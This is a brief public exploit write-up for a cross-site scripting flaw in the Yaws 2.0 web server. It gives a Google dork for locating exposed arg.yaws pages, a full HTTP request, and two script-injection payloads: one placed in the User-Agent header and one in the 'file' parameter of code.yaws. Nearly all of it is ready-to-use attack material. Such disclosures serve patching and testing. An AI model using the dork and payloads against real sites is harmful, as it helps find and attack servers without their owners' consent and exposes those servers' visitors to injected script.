Yaws 2.0 Cross Site Scripting

`# Exploit Title: Yaws 2.0 server - Cross-Site Scripting  
# Exploit Author: sultan albalawi  
# :@bofheaded  
# :https://hackinguyz.blogspot.com/  
.............................  
D0rk= inurl:/arg.yaws  
_______________________  
  
path: http://site/arg.yaws  
  
  
http heders User-Agent  
|  
|  
|  
v  
Host: http://site/  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101  
Firefox/54.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
If-Modified-Since: *  
  
exploit User-Agent HTTP header Cross-Site :  
Delete or replace User-Agent || Copy and paste this using http_live  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101  
Firefox/54.0)<sCriPt>alert(1);</sCriPt>  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
exploit 2 : with url  
  
path2: http://site/code.yaws?file=<sCriPt>alert(1);</sCriPt>  
  
`